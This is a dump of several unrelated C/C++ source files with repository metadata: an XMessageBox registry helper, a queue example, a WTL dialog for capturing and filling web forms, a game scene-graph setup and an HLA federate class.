_T("\\")); } TCHAR szPathName[_MAX_PATH*2]; memset(szPathName, 0, _MAX_PATH*2*sizeof(TCHAR)); ::GetModuleFileName(NULL, szPathName, MAX_PATH*2-2); TCHAR *cp = _tcsrchr(szPathName, _T('\\')); if (cp == NULL) cp = szPathName; else cp++; _tcscat(szKey, cp); _tcscat(szKey, _T("\\")); _tcscat(szKey, XMESSAGEBOX_REGISTRY_KEY); TRACE(_T("szKey=<%s>\n"), szKey); // open the registry key DWORD dwResult = 0; HKEY hKey = NULL; LONG lRet = ::RegCreateKeyEx(HKEY_CURRENT_USER, szKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, &dwResult); if (lRet == ERROR_SUCCESS) { // registry key was opened or created - ::RegSetValueEx(hKey, lpszKey, 0, REG_DWORD, (const BYTE *) &dwData, sizeof(DWORD)); ::RegCloseKey(hKey); } return; } #endif // XMESSAGEBOX_USE_PROFILE_FILE #endif // XMESSAGEBOX_DO_NOT_SAVE_CHECKBOX
[ [ [ 1, 2168 ] ] ]
e85a10b1796516ab3a348c68de9e1b45e2fde87e
e37be1c585ec0d5b518a07cb7e154a85df0d792f
/src/QueueExample.cpp
a9cabab4644d1039474fdd5541fc17f0c9d35ce1
[ "MIT" ]
permissive
andrewcarter/Data-Structures-Cpp
acb25e7ad5e4758a277f47b68995456625c1d8e0
181e005418e969b3c8c1de2754cb7bf209622a1f
refs/heads/master
2020-05-24T14:47:42.434694
2011-08-05T03:00:45
2011-08-05T03:00:45
2,152,131
1
0
null
null
null
null
UTF-8
C++
false
false
624
cpp
#include "Queue.hpp" #include <iostream> using namespace std; int main(){ ArrayQueue<int> arrayQueue; Queue<int> listQueue; cout << "Array Queue:" << endl; for(int f0 = 0, f1 = 1, fn = f1; f0 < 4181; fn = f1, f1 = f0+f1, f0 = fn){ arrayQueue.enqueue(f0); } while(!arrayQueue.isEmpty()){ cout << arrayQueue.dequeue() << " "; } cout << endl; cout << "List Queue:" << endl; for(int f0 = 0, f1 = 1, fn = f1; f0 < 4181; fn = f1, f1 = f0+f1, f0 = fn){ listQueue.enqueue(f0); } while(!listQueue.isEmpty()){ cout << listQueue.dequeue() << " "; } cout << endl; return 0; }
[ [ [ 1, 30 ] ] ]
202f1fe4e6bb7b47262de16312e6dd1fe675b99e
38664d844d9fad34e88160f6ebf86c043db9f1c5
/branches/initialize/infostudio/InfoStudio/webCollect.h
d4d9b0249f0717ce24efe622a784876762eda7d5
[]
no_license
cnsuhao/jezzitest
84074b938b3e06ae820842dac62dae116d5fdaba
9b5f6cf40750511350e5456349ead8346cabb56e
refs/heads/master
2021-05-28T23:08:59.663581
2010-11-25T13:44:57
2010-11-25T13:44:57
null
0
0
null
null
null
null
GB18030
C++
false
false
13,539
h
#pragma once #include "Resource.h" #include "web/disphost.h" #include "web/dispdyna.h" #include "web/webview.h" #include "util.h" #include "webinfo.h" #include "condef.h" #include "infomanage.h" extern CInfoManage* _pInfoManage; class CWebCollectDlg : public CDialogImpl<CWebCollectDlg> { public: CWebCollectDlg() { _strUrl = ""; _fromName = ""; _pWebExternal = 0; _pWebInfo = NULL; _pRegister = NULL; } ~CWebCollectDlg() { if(_pWebExternal) { _WebView.SetExternalDispatch(0); _pWebExternal->Release(); _pWebExternal = 0; } if (::IsWindow(_WebView.m_hWnd)) _WebView.DestroyWindow(); _listView.Detach(); } enum {IDD = IDD_COLLECTDLG}; BEGIN_MSG_MAP(CWebCollectDlg) MESSAGE_HANDLER(WM_INITDIALOG, OnInitDialog) COMMAND_ID_HANDLER(IDOK, OnOk) COMMAND_ID_HANDLER(IDCANCEL, OnCancel) COMMAND_ID_HANDLER(IDC_BUTTON_PARAM, OnParam) COMMAND_ID_HANDLER(IDC_BUTTON_IMGURL, OnImgUrl) COMMAND_ID_HANDLER(IDC_BUTTON_FILLFORM, OnFillForm) COMMAND_ID_HANDLER(IDC_BUTTON_REFRESHFORM, OnReFreshForm) COMMAND_ID_HANDLER(IDC_BUTTON_SAVEINFO, OnSaveRegister) COMMAND_ID_HANDLER(IDC_BUTTON_ADDINFO, OnAddRegister) MESSAGE_HANDLER(WM_WEBFINISH, OnWebFinish) MESSAGE_HANDLER(WM_CHANGEURL, OnChangeUrl) MESSAGE_HANDLER(WM_WEBGETCOMBOX, OnWebGetCombox) COMMAND_HANDLER(IDC_COMBO_FORM, CBN_SELCHANGE, OnFormSelChanged) END_MSG_MAP() CWebView _WebView; CString _strUrl; CDispObject<HostDisp> * _pWebExternal; LRESULT OnInitDialog(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/) { if ( _strUrl == "" ) _strUrl = "http://db.b2b.sohu.com/qy/logon/Logon_free.html"; Init(); //::SetWindowText(GetDlgItem(IDC_EDIT_URL), _T("http://db.b2b.sohu.com/qy/logon/Logon_free.html")); return 0; } LRESULT OnOk(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/) { //EndDialog(IDOK); getWindowText(GetDlgItem(IDC_EDIT_URL), _strUrl); // 清空 form commbox CComboBox cb(GetDlgItem(IDC_COMBO_FORM)); if (cb) cb.ResetContent(); CListBox listbox(GetDlgItem(IDC_LIST_FORM)); if (listbox) listbox.ResetContent(); if ( _strUrl.GetLength() > 0 ) { _WebView.Navigate( _strUrl ); //_WebView.RunScript(L"init", _strID, _strType); } return 0; } LRESULT OnCancel(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/) { EndDialog(IDCANCEL); return 0; } LRESULT OnSaveRegister(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/) { SaveRegister(); MessageBox(_T("保存成功"), MSGTITLE, MB_OK); return 0; } LRESULT OnAddRegister(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/) { _pRegister = NULL; SaveRegister(); MessageBox(_T("保存成功"), MSGTITLE, MB_OK); return 0; } LRESULT OnParam(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/) { CComboBox box; int nSel = 0; box.Attach(GetDlgItem(IDC_COMBO_FORM)); nSel = box.GetCurSel(); if(nSel < 0) return 0; SaveForm( nSel ); return 0; } LRESULT OnFillForm(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/) { if ( _pRegister ) FillForm( _pRegister ); return 0; } LRESULT OnReFreshForm(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/) { _WebView.RefreshEnumForm(); ShowFormList(); return 0; } LRESULT OnImgUrl(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/) { CString str; getWindowText( GetDlgItem( IDC_EDIT_FIELD ), str ); ::SetWindowText( GetDlgItem(IDC_EDIT_VALIDATEURL), str ); return 0; } LRESULT OnWebFinish(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& ) { CComboBox cb; cb.Attach( GetDlgItem(IDC_COMBO_FORM) ); while ( cb.GetCount() > 0 ) cb.DeleteString( 0 ); for ( int i = 0; i < _WebView._vectElements.size(); i++ ) { cb.AddString( _WebView._vectElements[i]._FormName); } if ( _WebView._vectElements.size() > 0 ) { cb.SetCurSel( 0 ); ListForm( 0 ); } return 0; } LRESULT OnChangeUrl(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& ) { CString strUrl; strUrl = _WebView.GetLocationURL(); ::SetWindowText( GetDlgItem(IDC_EDIT_URL), strUrl ); return 0; } LRESULT OnWebGetCombox(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& ) { CComboBox cb; cb.Attach( GetDlgItem(IDC_COMBO_LIST) ); while ( cb.GetCount() > 0 ) cb.DeleteString( 0 ); std::vector<CString>* pValueLst = (std::vector<CString>*)wParam; if ( pValueLst->size() > 0 ) { ::SetWindowText( GetDlgItem(IDC_EDIT_FIELD), (*pValueLst)[0] ); } if ( pValueLst->size() > 1 ) { for ( int i = 1; i < pValueLst->size(); i++ ) { cb.AddString( (*pValueLst)[i] ); } cb.SetCurSel( 0 ); } return 0; } LRESULT OnFormSelChanged (WORD wNotifyCode, WORD wID, HWND hWndCtl, BOOL& bHandled) { ShowFormList(); return 0; } //funciton void ShowFormList() { CComboBox box; int nSel = 0; box.Attach(GetDlgItem(IDC_COMBO_FORM)); nSel = box.GetCurSel(); if(nSel < 0) return ; getWindowText( box.m_hWnd, _fromName ); ListForm( nSel ); } void Init() { CRect rc; ::GetClientRect( GetDlgItem(IDC_IE), &rc ); POINT pt; pt.x = rc.left; pt.y = rc.top; ::ClientToScreen( GetDlgItem(IDC_IE), &pt ); POINT ptClient; ptClient.x = ptClient.y = 0; ClientToScreen( &ptClient ); rc.OffsetRect( pt.x - ptClient.x, pt.y - ptClient.y ); _WebView.Create(m_hWnd, rc, _T("about:blank"), WS_CHILD | WS_VISIBLE | WS_HSCROLL | WS_VSCROLL , 0 /*WS_EX_CLIENTEDGE*/); //WS_CLIPSIBLINGS | WS_CLIPCHILDREN | _WebView.Init(); // 3 External HRESULT hr = CDispObject<HostDisp>::CreateInstance(&_pWebExternal); if(SUCCEEDED(hr) && _pWebExternal) { _pWebExternal->SetWebView(&_WebView); _WebView.SetExternalDispatch(_pWebExternal); } _WebView.SetNotifyWnd( m_hWnd ); if ( _strUrl.GetLength() > 0 ) { _WebView.Navigate( _strUrl ); //_WebView.RunScript(L"init", _strID, _strType); } CComboBox box; box.Attach( GetDlgItem(IDC_COMBO_POSTMETHOD) ); box.AddString( _T("POST") ); box.AddString( _T("GET") ); box.SetCurSel( 0 ); box.Detach(); box.Attach( GetDlgItem(IDC_COMBO_ENCODE) ); box.AddString( _T("GB2312") ); box.AddString( _T("UTF-8") ); box.SetCurSel( 0 ); box.Detach(); _listView.Attach( GetDlgItem(IDC_LIST_SELECT)); _listView.InsertColumn(0, L"name"); _listView.InsertColumn(1, L"value"); _listView.SetColumnWidth(0, 50); _listView.SetColumnWidth(1, 100); } void ListForm( int nIndex ) { CListBox listbox; listbox.Attach(GetDlgItem(IDC_LIST_FORM)); while ( listbox.GetCount() > 0 ) listbox.DeleteString(0); if ( nIndex >= _WebView._vectElements.size() ) return ; for ( int i = 0; i < _WebView._vectElements[nIndex]._vectElement.size(); i++ ) { CString strItem; strItem = _WebView._vectElements[nIndex]._vectElement[i]._Name + _T("=") + _WebView._vectElements[nIndex]._vectElement[i]._Value; listbox.AddString( strItem ); } CString strUrl = OnConversionURL( _WebView._url, _WebView._vectElements[nIndex]._FormUrl); ::SetWindowText( GetDlgItem(IDC_EDIT_POSTURL), strUrl ); CComboBox box; box.Attach( GetDlgItem(IDC_COMBO_POSTMETHOD) ); if ( _WebView._vectElements[nIndex]._PostMethod == _T("post") ) box.SetCurSel( 0 ); else box.SetCurSel( 1 ); } void SaveForm( int nIndex ) { if ( nIndex >= _WebView._vectElements.size() ) return ; CString strInfo = ""; for ( int i = 0; i < _WebView._vectElements[nIndex]._vectElement.size(); i++ ) { CString strItem; CString strValue;// = _WebView._vectElements[nIndex]._vectElement[i]._Value; strValue = _pInfoManage->_userInfo.getParamValue( _WebView._vectElements[nIndex]._vectElement[i]._Value ); if ( strValue == "" ) strValue = _WebView._vectElements[nIndex]._vectElement[i]._Value; strItem = _WebView._vectElements[nIndex]._vectElement[i]._Name + _T("=") + strValue; if ( i < _WebView._vectElements[nIndex]._vectElement.size() - 1 ) strItem += _T("&"); strInfo += strItem; } ::SetWindowText( GetDlgItem(IDC_EDIT_PARAM), strInfo ); } void SaveRegister() { //判断是新增还是修改 if ( !_pRegister ) { //表示是新增的。创建一个吧 _pRegister = new webRegister(); _pRegister->_id = _pWebInfo->_id; _pRegister->_item = _pWebInfo->GetMaxItem( _type ) + 1; _pRegister->_type = _type; _pWebInfo->AddWebRegister( _pRegister ); } if ( _pRegister ) { getWindowText( GetDlgItem( IDC_EDIT_URL ), _pRegister->_url ); getWindowText( GetDlgItem( IDC_EDIT_POSTURL ), _pRegister->_posturl ); _pRegister->_strFormName = _fromName; CString str = ""; getWindowText( GetDlgItem( IDC_EDIT_PARAM ), str ); //以&分割 里面用= _pRegister->_strPost = str; _pRegister->_postMap.clear(); vector<std::string> paramList; str_split( paramList, CT2A(str) , "&" ); for ( int i = 0; i < paramList.size(); i++ ) { if ( paramList[i] != "" ) { vector<std::string> itemList; str_split( itemList, paramList[i].c_str() , "=" ); CString strLeft = itemList[0].c_str(); CString strRight = ""; if ( itemList.size() > 1 ) { for ( int j = 1; j < itemList.size(); j++ ) { strRight += itemList[j].c_str(); } } _pRegister->_postMap.insert( std::make_pair( strLeft, strRight ) ); } } CComboBox box; box.Attach( GetDlgItem(IDC_COMBO_POSTMETHOD) ); _pRegister->_httptype = box.GetCurSel(); box.Detach(); box.Attach( GetDlgItem(IDC_COMBO_ENCODE) ); _pRegister->_utf8 = box.GetCurSel() == 0 ? FALSE : TRUE; box.Detach(); getWindowText( GetDlgItem( IDC_EDIT_SUCC ), _pRegister->_success ); box.Detach(); // SavewebRegister2Data ( _pRegister ); } } void SavewebRegister2Data( webRegister* pRegister) { // 需要保存数据库 CString strSql; strSql.Format( _T("select * from weblistinfo ")); // CAdoRecordSet* pRs = new CAdoRecordSet(_pDb); if( pRs->Open((LPCTSTR) strSql ) ) { pRs->AddNew(); pRs->PutCollect( _T("id"), pRegister->_id ); pRs->PutCollect( _T("item"), pRegister->_item ); pRs->PutCollect( _T("url"), pRegister->_url ); pRs->PutCollect( _T("posturl"), pRegister->_posturl ); pRs->PutCollect( _T("type"), pRegister->_type ); pRs->PutCollect( _T("header"), pRegister->_strHead ); pRs->PutCollect( _T("content"), pRegister->_strPost ); pRs->PutCollect( _T("posttype"), pRegister->_httptype ); pRs->PutCollect( _T("validateurl"), pRegister->_validateUrl ); pRs->PutCollect( _T("successRet"), pRegister->_success ); pRs->PutCollect( _T("loginbase"), pRegister->_loginBase ); pRs->PutCollect( _T("resulturl"), pRegister->_strResultUrl ); pRs->PutCollect( _T("formname"), pRegister->_strFormName ); pRs->Update(); } if ( pRs ) delete pRs; pRs = NULL; } //填充 void FillForm( webRegister* pRegister ) { _WebView.FillForm( pRegister ); } public: CWebInfo* _pWebInfo; webRegister* _pRegister; int _type;//是注册,登录,还是信息发布 CString _fromName; CSortListViewCtrl _listView; };
[ "ken.shao@ba8f1dc9-3c1c-0410-9eed-0f8a660c14bd", "zhongzeng@ba8f1dc9-3c1c-0410-9eed-0f8a660c14bd" ]
[ [ [ 1, 10 ], [ 15, 21 ], [ 23, 40 ], [ 44, 53 ], [ 57, 57 ], [ 59, 66 ], [ 68, 76 ], [ 79, 79 ], [ 81, 116 ], [ 118, 125 ], [ 127, 145 ], [ 166, 233 ], [ 235, 238 ], [ 252, 290 ], [ 293, 296 ], [ 299, 301 ], [ 308, 351 ], [ 358, 385 ], [ 388, 391 ], [ 393, 433 ], [ 437, 440 ], [ 483, 487 ], [ 491, 491 ] ], [ [ 11, 14 ], [ 22, 22 ], [ 41, 43 ], [ 54, 56 ], [ 58, 58 ], [ 67, 67 ], [ 77, 78 ], [ 80, 80 ], [ 117, 117 ], [ 126, 126 ], [ 146, 165 ], [ 234, 234 ], [ 239, 251 ], [ 291, 292 ], [ 297, 298 ], [ 302, 307 ], [ 352, 357 ], [ 386, 387 ], [ 392, 392 ], [ 434, 436 ], [ 441, 482 ], [ 488, 490 ] ] ]
91d12defc5b0d5a655cc844f13ea8babef9b2eb9
14bc620a0365e83444dad45611381c7f6bcd052b
/ITUEngine/Game/SceneData.cpp
0fd6e35c8a6ad9442a32e925adfa15bc749e33dd
[]
no_license
jumoel/itu-gameengine
a5750bfdf391ae64407217bfc1df8b2a3db551c7
062dd47bc1be0f39a0add8615e81361bcaa2bd4c
refs/heads/master
2020-05-03T20:39:31.307460
2011-12-19T10:54:10
2011-12-19T10:54:10
null
0
0
null
null
null
null
UTF-8
C++
false
false
9,962
cpp
#include <Game/SceneData.hpp> #include <Game/Camera.hpp> #include <Managers/SceneGraphManager.hpp> #include <Managers/MediaManager.hpp> #include <Managers/LightingManager.hpp> #include <Subsystems/Physics/PhysicsModels/PhysicsModel.hpp> #include <Subsystems/Physics/PhysicsSystem.hpp> #include <Subsystems/Physics/PhysicsModels/PlayerInteraction.hpp> SceneGraphManager *createGraph() { int lightIndex = SINGLETONINSTANCE(LightingManager)->getAvailableLightIndex(); SINGLETONINSTANCE(LightingManager)->lights[lightIndex].enable(true); SINGLETONINSTANCE(LightingManager)->lights[lightIndex].setDiffuse(0.5f,0.5f,0.5f, 1.0f); SINGLETONINSTANCE(LightingManager)->lights[lightIndex].setSpecular(0.7f,0.2f,0.1f, 1.0f); SINGLETONINSTANCE(LightingManager)->lights[lightIndex].setAmbient(0.2f,0.2f,0.2f, 1.0f); SINGLETONINSTANCE(LightingManager)->lights[lightIndex].setPos(10.0f,10.0f,10.0f); auto root = new Object(); root->Name = "Root"; root->transformation->Reset(); float mapWidth = 40.0f; auto ground = new Object(); ground->Name = "Ground"; ground->model = SINGLETONINSTANCE( MediaManager )->ground; ground->transformation->Reset(); ground->SetPos2D(20.0f,20.0f); ground->SetScale(mapWidth,mapWidth,1.0f); SINGLETONINSTANCE(PathPlanner)->StartUp(mapWidth); auto underground = new Object(); underground->Name = "Underground"; underground->model = SINGLETONINSTANCE( MediaManager )->ground; underground->transformation->Reset(); underground->getPos()->SetZ(-10.0f); underground->SetScale(mapWidth*10,mapWidth*10,1.0f); Rectangle physicsBox(Point(-0.5f, -0.5f), 1.0f, 1.0f); auto box = new Object(); box->Name = "Box"; box->model = SINGLETONINSTANCE( MediaManager )->boxModel; StaticObjectModel* tempStaticObject = new StaticObjectModel(RECTANGULARSHAPE); box->physicsModel = tempStaticObject; box->physicsModel->InitializeAsRectangle(physicsBox); SINGLETONINSTANCE(PhysicsSystem)->AddStaticObject(tempStaticObject); box->SetPos2D(20.0f, 0.0f); box->SetScale(40.0f, 1.0f, 3.0f); //box->physicsModel->debug(); auto box1 = new Object(); box1->Name = "Box1"; tempStaticObject = new StaticObjectModel(RECTANGULARSHAPE); box1->model = SINGLETONINSTANCE( MediaManager )->boxModel; box1->physicsModel = tempStaticObject; box1->physicsModel->InitializeAsRectangle(physicsBox); SINGLETONINSTANCE(PhysicsSystem)->AddStaticObject(tempStaticObject); box1->SetPos2D(20.0f, 40.0f); box1->SetScale(40.0f, 1.0f, 3.0f); auto box2 = new Object(); box2->Name = "Box2"; box2->model = SINGLETONINSTANCE( MediaManager )->boxModel; tempStaticObject = new StaticObjectModel(RECTANGULARSHAPE); box2->physicsModel = tempStaticObject; box2->physicsModel->InitializeAsRectangle(physicsBox); SINGLETONINSTANCE(PhysicsSystem)->AddStaticObject(tempStaticObject); box2->SetPos2D(0.0f, 20.0f); box2->SetScale(1.0f, 40.0f, 3.0f); auto box3 = new Object(); box3->Name = "Box3"; box3->model = SINGLETONINSTANCE( MediaManager )->boxModel; tempStaticObject = new StaticObjectModel(RECTANGULARSHAPE); box3->physicsModel = tempStaticObject; box3->physicsModel->InitializeAsRectangle(physicsBox); SINGLETONINSTANCE(PhysicsSystem)->AddStaticObject(tempStaticObject); box3->SetPos2D(40.0f, 20.0f); box3->SetScale(1.0f, 40.0f, 3.0f); auto box4 = new Object(); box4->Name = "Box4"; box4->model = SINGLETONINSTANCE( MediaManager )->boxModel; tempStaticObject = new StaticObjectModel(RECTANGULARSHAPE); box4->physicsModel = tempStaticObject; box4->physicsModel->InitializeAsRectangle(physicsBox); SINGLETONINSTANCE(PhysicsSystem)->AddStaticObject(tempStaticObject); box4->SetPos2D(27.0f, 15.0f); box4->SetScale(1.0f, 30.0f, 3.0f); auto box5 = new Object(); box5->Name = "Box5"; box5->model = SINGLETONINSTANCE( MediaManager )->boxModel; tempStaticObject = new StaticObjectModel(RECTANGULARSHAPE); box5->physicsModel = tempStaticObject; box5->physicsModel->InitializeAsRectangle(physicsBox); SINGLETONINSTANCE(PhysicsSystem)->AddStaticObject(tempStaticObject); box5->SetPos2D(13.0f, 25.0f); box5->SetScale(1.0f, 30.0f, 3.0f); root->children->push_back(*underground); root->children->push_back(*ground); root->children->push_back(*box); root->children->push_back(*box1); root->children->push_back(*box2); root->children->push_back(*box3); root->children->push_back(*box4); root->children->push_back(*box5); SINGLETONINSTANCE(PhysicsSystem)->SetStaticPathMap(); Point forward; forward.X = 0; forward.Y = -1; forward = forward.GetNormalizedPoint(); auto player = new Object(); SINGLETONINSTANCE(PlayerInteraction)->StartUp(player); player->Name = "Player"; player->model = SINGLETONINSTANCE( MediaManager )->crazyModel; MovingObjectModel* tempMovingObject = new MovingObjectModel(CIRCULARSHAPE, PLAYERTYPE, forward, player); player->physicsModel = tempMovingObject; Circle circle(Point(0.0f,0.0f),0.5f); player->physicsModel->InitializeAsCircle(circle); SINGLETONINSTANCE(PhysicsSystem)->AddMovingObject(tempMovingObject); player->SetPos2D(15,20); player->Rotate(90.0f, 1.0f, 0.0f, 0.0f); player->SetForward(0.0f, 1.0f); player->setLookAt2D(forward.X,forward.Y); root->children->push_back(*player); player->physicsModel->SetTargetPosition(new Point(50,5)); auto camera = new Camera(); camera->Position.SetX(20); camera->Position.SetY(5); camera->Position.SetZ(50); camera->LookAt.SetX(20); camera->LookAt.SetY(20); camera->LookAt.SetZ(-1); camera->Up.SetX(0); camera->Up.SetY(1); camera->Up.SetZ(0); SceneGraphManager *sceneGraph = new SceneGraphManager(camera, root); return sceneGraph; } /* SceneGraphManager *createGraphVBO() { int lightIndex = SINGLETONINSTANCE(LightingManager)->getAvailableLightIndex(); SINGLETONINSTANCE(LightingManager)->lights[lightIndex].enable(true); SINGLETONINSTANCE(LightingManager)->lights[lightIndex].setDiffuse(0.5f,0.5f,0.5f, 1.0f); SINGLETONINSTANCE(LightingManager)->lights[lightIndex].setSpecular(0.7f,0.2f,0.1f, 1.0f); SINGLETONINSTANCE(LightingManager)->lights[lightIndex].setAmbient(0.2f,0.2f,0.2f, 1.0f); SINGLETONINSTANCE(LightingManager)->lights[lightIndex].setPos(0.0f,0.0f,0.0f); auto root = new Object(); root->Name = "Root"; float specReflection[] = { 0.8f, 0.8f, 0.8f, 1.0f }; auto triangle1 = new Object(); triangle1->Name = "T1"; auto m = new Matrix4x4f(); m->Translate(0.0f, 0.0f, -10.0f); triangle1->transformation = m; auto v1 = new Vector3f(-0.5f, -0.5f, 0.0f); auto v2 = new Vector3f(0.0f, 0.5f, 0.0f); auto v3 = new Vector3f(0.5f, -0.5f, 0.0f); auto c1 = new Vector3f(1, 0, 0); auto c2 = new Vector3f(0, 1, 0); auto c3 = new Vector3f(0, 0, 1); auto uv1 = new TexCoord(0.0f , 0.0f); auto uv2 = new TexCoord(0.0f , 1.0f); auto uv3 = new TexCoord(1.0f , 1.0f); triangle1->gfx->vertices->push_back(*v1); triangle1->gfx->vertices->push_back(*v2); triangle1->gfx->vertices->push_back(*v3); triangle1->gfx->material->colors->push_back(*c1); triangle1->gfx->material->colors->push_back(*c2); triangle1->gfx->material->colors->push_back(*c3); triangle1->gfx->material->uv->push_back(*uv1); triangle1->gfx->material->uv->push_back(*uv2); triangle1->gfx->material->uv->push_back(*uv3); triangle1->gfx->material->spec = specReflection; triangle1->gfx->material->shine = 0.3f; triangle1->gfx->material->texture = SINGLETONINSTANCE(MediaManager)->warrior; triangle1->gfx->CreateVBO(); auto triangle2 = new Object(); triangle2->Name = "T2"; triangle2->gfx->vertices->push_back(*v1); triangle2->gfx->vertices->push_back(*v2); triangle2->gfx->vertices->push_back(*v3); triangle2->gfx->material->colors->push_back(*c1); triangle2->gfx->material->colors->push_back(*c1); triangle2->gfx->material->colors->push_back(*c1); triangle2->gfx->material->uv->push_back(*uv1); triangle2->gfx->material->uv->push_back(*uv2); triangle2->gfx->material->uv->push_back(*uv3); triangle2->gfx->material->spec = specReflection; triangle2->gfx->material->shine = 0.3f; triangle2->gfx->material->texture = SINGLETONINSTANCE(MediaManager)->warrior; triangle2->transformation = (new Matrix4x4f())->Translate(0, 0, -4.0f); triangle2->gfx->CreateVBO(); triangle1->children->push_back(*triangle2); auto triangle3 = new Object(); triangle3->Name = "T3"; triangle3->gfx->vertices->push_back(*v1); triangle3->gfx->vertices->push_back(*v2); triangle3->gfx->vertices->push_back(*v3); triangle3->gfx->material->colors->push_back(*c2); triangle3->gfx->material->colors->push_back(*c2); triangle3->gfx->material->colors->push_back(*c2); triangle3->gfx->material->uv->push_back(*uv1); triangle3->gfx->material->uv->push_back(*uv2); triangle3->gfx->material->uv->push_back(*uv3); triangle3->gfx->material->spec = specReflection; triangle3->gfx->material->shine = 0.3f; triangle3->gfx->material->texture = SINGLETONINSTANCE(MediaManager)->warrior; triangle3->transformation = (new Matrix4x4f())->Translate(-2, 0, 0); triangle3->gfx->CreateVBO(); triangle1->children->push_back(*triangle3); root->children->push_back(*triangle1); auto camera = new Camera(); camera->Position = *(new Vector3f(0, 0, 0)); camera->LookAt = *(new Vector3f(0, 0, -1)); camera->Up = *(new Vector3f(0, 1, 0)); //camera->Up = *(new Vector3f(1, 1, 0)); return new SceneGraphManager(camera, root); } void deleteGraphVBO(Object *root) { glDeleteBuffersARB(1, &(root->gfx->vboId)); glDeleteBuffersARB(1, &(root->gfx->cboId)); glDeleteBuffersARB(1, &(root->gfx->tboId)); if(root->children->size() < 0) { auto child_iter = root->children->begin(); int i = 0; while (child_iter != root->children->end()) { deleteGraphVBO(&(*child_iter)); child_iter++; } } } */
[ [ [ 1, 5 ], [ 9, 11 ], [ 19, 20 ], [ 22, 22 ], [ 139, 139 ], [ 149, 149 ], [ 288, 288 ] ], [ [ 6, 7 ], [ 12, 18 ], [ 21, 21 ], [ 23, 30 ], [ 38, 38 ], [ 40, 50 ], [ 52, 102 ], [ 104, 111 ], [ 134, 138 ], [ 140, 140 ], [ 142, 148 ], [ 150, 150 ], [ 152, 173 ], [ 175, 262 ], [ 265, 287 ], [ 289, 289 ] ], [ [ 8, 8 ], [ 32, 35 ], [ 37, 37 ], [ 39, 39 ], [ 103, 103 ], [ 112, 133 ], [ 141, 141 ], [ 151, 151 ], [ 174, 174 ], [ 263, 264 ] ], [ [ 31, 31 ], [ 51, 51 ] ], [ [ 36, 36 ] ] ]
bf31864b312e2916782ead60025163511f6080c7
1f66c42a9c00e6c95656493abcb27c3d2c465cf5
/ mts-file-joiner --username thesuperstitions/PerlScript-RhapsodyAdjust/Federate.cpp
06757c52ae9d51a2e779eedfd101e134b32d0170
[]
no_license
thesuperstitions/mts-file-joiner
b040dd5049cc0e8f865d49aece3e09e8cd56c7ae
182b22968b589eeaa8a0553786cfa33f20a019e6
refs/heads/master
2020-05-18T18:52:58.630448
2009-04-08T11:33:57
2009-04-08T11:33:57
32,318,120
0
0
null
null
null
null
UTF-8
C++
false
false
7,222
cpp
/******************************************************************** Rhapsody : 7.1 Login : rosskw1 Component : DefaultComponent Configuration : DefaultConfig Model Element : framework::Control::Federate //! Generated Date : Mon, 19, May 2008 File Path : DefaultComponent\DefaultConfig\Federate.cpp *********************************************************************/ #include "Federate.h" // dependency FederateInterfaceFactory #include "FederateInterfaceFactory.h" // operation Federate(FederateFrameworkType,FederateType,FrameworkFederateAmbassador*) #include "FrameworkFederateAmbassador.h" // dependency HLA_PostOffice #include "HLA_PostOffice.h" // dependency PostOffice #include "PostOffice.h" //---------------------------------------------------------------------------- // Federate.cpp //---------------------------------------------------------------------------- //## package framework::Control //## class Federate namespace framework { namespace Control { Federate::Federate(FederateFrameworkType fedFrameworkType, FederateType fedType, FrameworkFederateAmbassador* frameworkFederateAmbassador) { thePostOffice = NULL; itsFederateIO_Handler = NULL; //#[ operation Federate(FederateFrameworkType,FederateType,FrameworkFederateAmbassador*) // Save this class' attributes. setFederateFrameworkType(fedFrameworkType); setFederateType(fedType); setFederate(this); switch(fedFrameworkType) { case HLA_FederateFrameworkType : setThePostOffice( static_cast<framework::io::PostOffice*>(new framework::io::hla::HLA_PostOffice(frameworkFederateAmbassador)) ); break; case OASIS_FederateFrameworkType : // setThePostOffice( static_cast<Framework::io::PostOffice>(new Framework::io::OASIS_PostOffice()) ); break; }; // Create the FederateIO_Handler setItsFederateIO_Handler(new framework::io::FederateIO_Handler(fedFrameworkType)); getItsFederateIO_Handler()->setItsFederate(this); //#] } Federate::~Federate() { framework::io::hla::HLA_PostOffice* HPO; framework::io::FederateIO_Handler* FIOH = getItsFederateIO_Handler(); delete FIOH; framework::io::PostOffice* PO = getThePostOffice(); switch(getFederateFrameworkType()) { case HLA_FederateFrameworkType : HPO = static_cast<framework::io::hla::HLA_PostOffice*> (getThePostOffice()); delete HPO; break; case OASIS_FederateFrameworkType : break; }; cleanUpRelations(); } FederateFrameworkType Federate::getFederateFrameworkType() const { return federateFrameworkType; } void Federate::setFederateFrameworkType(FederateFrameworkType p_federateFrameworkType) { federateFrameworkType = p_federateFrameworkType; } FederateInterfaceFactory* Federate::getFederateInterfaceFactory() const { return federateInterfaceFactory; } void Federate::setFederateInterfaceFactory(FederateInterfaceFactory* p_federateInterfaceFactory) { federateInterfaceFactory = p_federateInterfaceFactory; } int Federate::getFederateType() const { return federateType; } void Federate::setFederateType(int p_federateType) { federateType = p_federateType; } framework::io::FederateIO_Handler* Federate::getItsFederateIO_Handler() const { return itsFederateIO_Handler; } void Federate::__setItsFederateIO_Handler(framework::io::FederateIO_Handler* p_FederateIO_Handler) { itsFederateIO_Handler = p_FederateIO_Handler; } void Federate::_setItsFederateIO_Handler(framework::io::FederateIO_Handler* p_FederateIO_Handler) { if(itsFederateIO_Handler != NULL) { itsFederateIO_Handler->__setItsFederate(NULL); } __setItsFederateIO_Handler(p_FederateIO_Handler); 